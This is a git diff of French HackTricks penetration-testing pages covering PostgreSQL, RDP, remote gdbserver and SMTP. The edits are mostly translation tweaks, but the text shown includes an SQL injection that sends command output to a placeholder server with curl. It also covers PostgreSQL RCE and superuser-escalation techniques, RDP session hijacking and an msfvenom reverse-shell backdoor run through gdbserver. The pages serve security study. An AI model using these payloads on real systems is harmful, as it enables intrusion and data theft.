données PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Plus d'informations sur cette technique** [**ici**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). +Si vous avez les autorisations nécessaires pour lire et écrire des fichiers serveur PostgreSQL, vous pouvez mettre à jour n'importe quelle table sur le serveur en **écrasant le nœud de fichier associé** dans [le répertoire de données PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Plus sur cette technique** [**ici**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). -Étapes requises : +Étapes requises: -1. Obtenir le répertoire de données PostgreSQL +1. Obtenez le répertoire de données PostgreSQL ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Remarque :** Si vous ne parvenez pas à récupérer le chemin du répertoire de données actuel à partir des paramètres, vous pouvez interroger la version majeure de PostgreSQL via la requête `SELECT version()` et essayer de forcer le chemin. Les chemins de répertoire de données courants sur les installations Unix de PostgreSQL sont `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nom de cluster courant est `main`. -2. Obtenir un chemin relatif vers le nœud de fichier, associé à la table cible +**Remarque:** Si vous ne parvenez pas à récupérer le chemin du répertoire de données actuel à partir des paramètres, vous pouvez interroger la version majeure de PostgreSQL via la requête `SELECT version()` et essayer de forcer le chemin. Les chemins de répertoire de données courants sur les installations Unix de PostgreSQL sont `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nom de cluster courant est `main`. +2. Obtenez un chemin relatif vers le nœud de fichier, associé à la table cible ```sql SELECT pg_relation_filepath('{TABLE_NAME}') ``` Cette requête devrait renvoyer quelque chose comme `base/3/1337`. Le chemin complet sur le disque sera `$DATA_DIRECTORY/base/3/1337`, c'est-à-dire `/var/lib/postgresql/13/main/base/3/1337`. -3. Télécharger le nœud de fichier via les fonctions `lo_*` +3. Téléchargez le nœud de fichier via les fonctions `lo_*` ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` -4. Obtenir le type de données associé à la table cible +4. Obtenez le type de données associé à la table cible ```sql SELECT @@ -383,14 +399,14 @@ JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` -5. Utilisez l'[Éditeur de nœud de fichier PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) pour [modifier le nœud de fichier](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users) ; définissez tous les indicateurs booléens `rol*` sur 1 pour des autorisations complètes. +5. Utilisez l'[Éditeur de Filenode PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) pour [éditer le nœud de fichier](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); définissez tous les drapeaux booléens `rol*` sur 1 pour des autorisations complètes. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` -![Démo de l'Éditeur de nœud de fichier PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) -6. Rechargez le nœud de fichier modifié via les fonctions `lo_*`, et écrasez le fichier original sur le disque +![Démo de l'Éditeur de Filenode PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif) +6. Rechargez le nœud de fichier édité via les fonctions `lo_*`, et écrasez le fichier original sur le disque ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) @@ -403,17 +419,17 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` 8. Vous devriez maintenant voir les valeurs de table mises à jour dans PostgreSQL. -Vous pouvez également devenir superadmin en modifiant la table `pg_authid`. **Voir** [**la section suivante**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). +Vous pouvez également devenir superadmin en éditant la table `pg_authid`. **Voir** [**la section suivante**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). ## RCE ### **RCE vers un programme** -Depuis [la version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), seuls les **super utilisateurs** et les membres du groupe **`pg_execute_server_program`** peuvent utiliser copy pour RCE (exemple avec exfiltration : +Depuis [la version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), seuls les **super utilisateurs** et les membres du groupe **`pg_execute_server_program`** peuvent utiliser copy pour RCE (exemple avec exfiltration: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` -Exemple à exécuter : +Exemple à exécuter: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; @@ -435,7 +451,7 @@ GRANT pg_execute_server_program TO username; {% endhint %} Ou utilisez le module `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\ -Plus d'informations sur cette vulnérabilité [**ici**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Alors que signalé comme CVE-2019-9193, Postges a déclaré que c'était une [fonctionnalité et ne sera pas corrigé](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +Plus d'informations sur cette vulnérabilité [**ici**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Alors que signalée comme CVE-2019-9193, Postges a déclaré qu'il s'agissait d'une [fonctionnalité et ne sera pas corrigée](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE avec les langages PostgreSQL @@ -454,7 +470,7 @@ Une fois que vous avez **appris** du post précédent **comment télécharger de ### RCE avec le fichier de configuration PostgreSQL {% hint style="info" %} -Les vecteurs RCE suivants sont particulièrement utiles dans des contextes SQLi contraints, car toutes les étapes peuvent être effectuées via des instructions SELECT imbriquées. +Les vecteurs RCE suivants sont particulièrement utiles dans des contextes d'injection SQL contraints, car toutes les étapes peuvent être effectuées à travers des instructions SELECT imbriquées. {% endhint %} Le **fichier de configuration** de PostgreSQL est **modifiable** par l'utilisateur **postgres**, qui est celui qui exécute la base de données, donc en tant que **superutilisateur**, vous pouvez écrire des fichiers dans le système de fichiers, et donc vous pouvez **écraser ce fichier.** @@ -465,7 +481,7 @@ Le **fichier de configuration** de PostgreSQL est **modifiable** par l'utilisate Plus d'informations [sur cette technique ici](https://pulsesecurity.co.nz/articles/postgres-sqli). -Le fichier de configuration a des attributs intéressants qui peuvent conduire à une RCE : +Le fichier de configuration a quelques attributs intéressants qui peuvent conduire à une RCE : * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Chemin de la clé privée de la base de données * `ssl_passphrase_command = ''` Si le fichier privé est protégé par un mot de passe (chiffré), PostgreSQL **exécutera la commande indiquée dans cet attribut**. @@ -483,7 +499,7 @@ Ensuite, un attaquant devra : 2. `ssl_passphrase_command_supports_reload = on` 6. Exécuter `pg_reload_conf()` -En testant ceci, j'ai remarqué que cela ne fonctionnera que si le **fichier de clé privée a des privilèges 640**, qu'il est **possédé par root** et par le **groupe ssl-cert ou postgres** (pour que l'utilisateur postgres puisse le lire), et qu'il est placé dans _/var/lib/postgresql/12/main_. +En testant cela, j'ai remarqué que cela ne fonctionnera que si le **fichier de clé privée a des privilèges 640**, qu'il est **possédé par root** et par le **groupe ssl-cert ou postgres** (pour que l'utilisateur postgres puisse le lire), et qu'il est placé dans _/var/lib/postgresql/12/main_. #### **RCE avec archive\_command** @@ -504,14 +520,14 @@ Les étapes générales sont : Plus d'informations [sur cette technique ici](https://adeadfed.com/posts/postgresql-select-only-rce/). -Ce vecteur d'attaque tire parti des variables de configuration suivantes : +Ce vecteur d'attaque exploite les variables de configuration suivantes : -* `session_preload_libraries` -- bibliothèques qui seront chargées par le serveur PostgreSQL lors de la connexion du client. +* `session_preload_libraries` -- bibliothèques qui seront chargées par le serveur PostgreSQL à la connexion du client. * `dynamic_library_path` -- liste des répertoires où le serveur PostgreSQL recherchera les bibliothèques. Nous pouvons définir la valeur de `dynamic_library_path` sur un répertoire, accessible en écriture par l'utilisateur `postgres` exécutant la base de données, par exemple, le répertoire `/tmp/`, et télécharger un objet malveillant `.so` là-bas. Ensuite, nous forcerons le serveur PostgreSQL à charger notre nouvelle bibliothèque téléchargée en l'incluant dans la variable `session_preload_libraries`. -Les étapes de l'attaque sont les suivantes : +Les étapes de l'attaque sont : 1. Télécharger le `postgresql.conf` original 2. Inclure le répertoire `/tmp/` dans la valeur de `dynamic_library_path`, par exemple `dynamic_library_path = '/tmp:$libdir'` @@ -575,7 +591,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so Selon les [**documents**](https://www.postgresql.org/docs/13/sql-grant.html): _Les rôles ayant le privilège **`CREATEROLE`** peuvent **accorder ou révoquer l'appartenance à n'importe quel rôle** qui n'est **pas** un **superutilisateur**._ -Ainsi, si vous avez la permission **`CREATEROLE`**, vous pourriez vous accorder l'accès à d'autres **rôles** (qui ne sont pas des superutilisateurs) pouvant vous donner la possibilité de lire et écrire des fichiers et d'exécuter des commandes: +Ainsi, si vous avez la permission **`CREATEROLE`**, vous pourriez vous accorder l'accès à d'autres **rôles** (qui ne sont pas des superutilisateurs) qui peuvent vous donner la possibilité de lire et écrire des fichiers et d'exécuter des commandes: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -586,7 +602,7 @@ GRANT pg_write_server_files TO username; ``` #### Modifier le mot de passe -Les utilisateurs de ce rôle peuvent également **modifier** les **mots de passe** d'autres **non-superutilisateurs**: +Les utilisateurs de ce rôle peuvent également **modifier** les **mots de passe** des autres **non-superutilisateurs**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; @@ -609,11 +625,11 @@ host all all ::1/128 trust ``` {% endhint %} -### **ALTER TABLE élévation de privilèges** +### **ALTER TABLE privesc** Dans [**ce compte rendu**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities), il est expliqué comment il était possible de réaliser une **élévation de privilèges** dans Postgres GCP en abusant du privilège ALTER TABLE qui avait été accordé à l'utilisateur. -Lorsque vous essayez de **changer le propriétaire d'une table pour un autre utilisateur**, vous devriez normalement obtenir une **erreur** vous en empêchant, mais apparemment GCP a donné cette **option à l'utilisateur postgres non-superutilisateur** dans GCP : +Lorsque vous essayez de **changer le propriétaire d'une table** pour un autre utilisateur, vous devriez normalement obtenir une **erreur** vous en empêchant. Cependant, apparemment GCP a donné cette **option à l'utilisateur postgres non-superutilisateur** dans GCP :
@@ -727,7 +743,7 @@ Et ensuite **exécutez des commandes**: ### Contourner la force brute avec PL/pgSQL **PL/pgSQL** est un **langage de programmation complet** qui offre un plus grand contrôle procédural par rapport au SQL. Il permet l'utilisation de **boucles** et d'autres **structures de contrôle** pour améliorer la logique du programme. De plus, les **instructions SQL** et les **déclencheurs** ont la capacité d'invoquer des fonctions créées en utilisant le **langage PL/pgSQL**. Cette intégration permet une approche plus complète et polyvalente de la programmation et de l'automatisation de bases de données.\ -**Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer les identifiants des utilisateurs.** +**Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer brutalement les informations d'identification des utilisateurs.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) @@ -736,7 +752,7 @@ Et ensuite **exécutez des commandes**: ### Élévation de privilèges en écrasant les tables internes de PostgreSQL {% hint style="info" %} -Ce vecteur d'élévation de privilèges est particulièrement utile dans les contextes de SQLi contraints, car toutes les étapes peuvent être effectuées à travers des instructions SELECT imbriquées. +Ce vecteur d'élévation de privilèges est particulièrement utile dans des contextes d'injection SQL contraints, car toutes les étapes peuvent être effectuées à travers des instructions SELECT imbriquées. {% endhint %} Si vous pouvez **lire et écrire des fichiers serveur PostgreSQL**, vous pouvez **devenir superutilisateur** en écrasant le filenode sur disque de PostgreSQL, associé à la table interne `pg_authid`. @@ -745,12 +761,12 @@ En savoir plus sur **cette technique** [**ici**](https://adeadfed.com/posts/upda Les étapes de l'attaque sont les suivantes : -1. Obtenir le répertoire des données PostgreSQL +1. Obtenir le répertoire de données PostgreSQL 2. Obtenir un chemin relatif vers le filenode, associé à la table `pg_authid` 3. Télécharger le filenode via les fonctions `lo_*` -4. Obtenir le type de données associé à la table `pg_authid` +4. Obtenir le type de données, associé à la table `pg_authid` 5. Utiliser l'[Éditeur de Filenode PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) pour [modifier le filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); définir tous les indicateurs booléens `rol*` à 1 pour des autorisations complètes. -6. Re-téléverser le filenode modifié via les fonctions `lo_*`, et écraser le fichier original sur le disque +6. Réuploader le filenode modifié via les fonctions `lo_*`, et écraser le fichier original sur le disque 7. _(Facultatif)_ Effacer le cache de table en mémoire en exécutant une requête SQL coûteuse 8. Vous devriez maintenant avoir les privilèges d'un superadministrateur complet. @@ -778,7 +794,7 @@ Ensuite, **redémarrez le service**. ### pgadmin [pgadmin](https://www.pgadmin.org) est une plateforme d'administration et de développement pour PostgreSQL.\ -Vous pouvez trouver des **mots de passe** à l'intérieur du fichier _**pgadmin4.db**_\ +Vous pouvez trouver des **mots de passe** à l'intérieur du fichier _**pgadmin4.db**_.\ Vous pouvez les décrypter en utilisant la fonction _**decrypt**_ dans le script : [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" @@ -796,17 +812,17 @@ Les méthodes d'authentification basées sur mot de passe disponibles dans pg\_h Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ diff --git a/network-services-pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md index 12e95e0c2..3feacfad1 100644 --- a/network-services-pentesting/pentesting-rdp.md +++ b/network-services-pentesting/pentesting-rdp.md @@ -1,22 +1,22 @@ -# 3389 - Test d'intrusion RDP +# 3389 - Pentesting RDP
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Lancez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les testeurs d'intrusion - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -39,7 +39,7 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338 ``` {% endcode %} -Il vérifie les cryptages disponibles et les vulnérabilités DoS (sans causer de DoS au service) et obtient des informations Windows NTLM (versions). +Il vérifie les chiffrements disponibles et les vulnérabilités DoS (sans causer de DoS au service) et obtient des informations NTLM Windows (versions). ### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp) @@ -67,9 +67,9 @@ rdp\_check.py d'Impacket vous permet de vérifier si certains identifiants sont ```bash rdp_check /:@ ``` -
+
-**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -79,7 +79,7 @@ rdp_check /:@ Avec les **permissions SYSTEM**, vous pouvez accéder à n'importe quelle **session RDP ouverte par n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe du propriétaire. -**Obtenir les sessions ouvertes :** +**Obtenir les sessions ouvertes:** ``` query user ``` @@ -122,7 +122,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** est un framework de post-exploitation créé en Powershell, conçu principalement pour automatiser l'attaque **Shadow** sur les ordinateurs Windows de Microsoft. Cette vulnérabilité (listée comme une fonctionnalité par Microsoft) permet à un attaquant distant de **voir le bureau de sa victime sans son consentement**, et même de le contrôler à la demande, en utilisant des outils natifs du système d'exploitation lui-même. +**AutoRDPwn** est un framework de post-exploitation créé en Powershell, conçu principalement pour automatiser l'attaque **Shadow** sur les ordinateurs Microsoft Windows. Cette vulnérabilité (listée comme une fonctionnalité par Microsoft) permet à un attaquant distant de **voir le bureau de sa victime sans son consentement**, et même de le contrôler à la demande, en utilisant des outils natifs du système d'exploitation lui-même. * [**EvilRDP**](https://github.com/skelsec/evilrdp) * Contrôler la souris et le clavier de manière automatisée en ligne de commande @@ -148,9 +148,9 @@ Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` -
+
-**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -163,7 +163,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md index 2f180c493..d89105719 100644 --- a/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/network-services-pentesting/pentesting-remote-gdbserver.md @@ -1,22 +1,22 @@ -# Pentesting Remote GdbServer +# Pentester le serveur Gdb distant
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -30,7 +30,7 @@ Vous pouvez faire écouter un **gdbserver sur n'importe quel port** et pour le m ### Téléchargement et Exécution -Vous pouvez facilement créer une **porte dérobée elf avec msfvenom**, la télécharger et l'exécuter: +Vous pouvez facilement créer une **porte dérobée elf avec msfvenom**, la télécharger et l'exécuter : ```bash # Trick shared by @B1n4rySh4d0w msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf @@ -55,7 +55,7 @@ run ``` ### Exécuter des commandes arbitraires -Il existe une autre façon de **faire exécuter des commandes arbitraires par le débogueur via un [script personnalisé en python pris ici](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**. +Il existe une autre façon de **faire exécuter des commandes arbitraires par le débogueur via un** [**script personnalisé en python pris ici**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). ```bash # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. target extended-remote 192.168.1.4:2345 @@ -195,9 +195,9 @@ RemoteCmd() ``` {% endcode %} -
+
-**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -210,7 +210,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md index 38a72cb81..2c38aab6f 100644 --- a/network-services-pentesting/pentesting-smtp/README.md +++ b/network-services-pentesting/pentesting-smtp/README.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
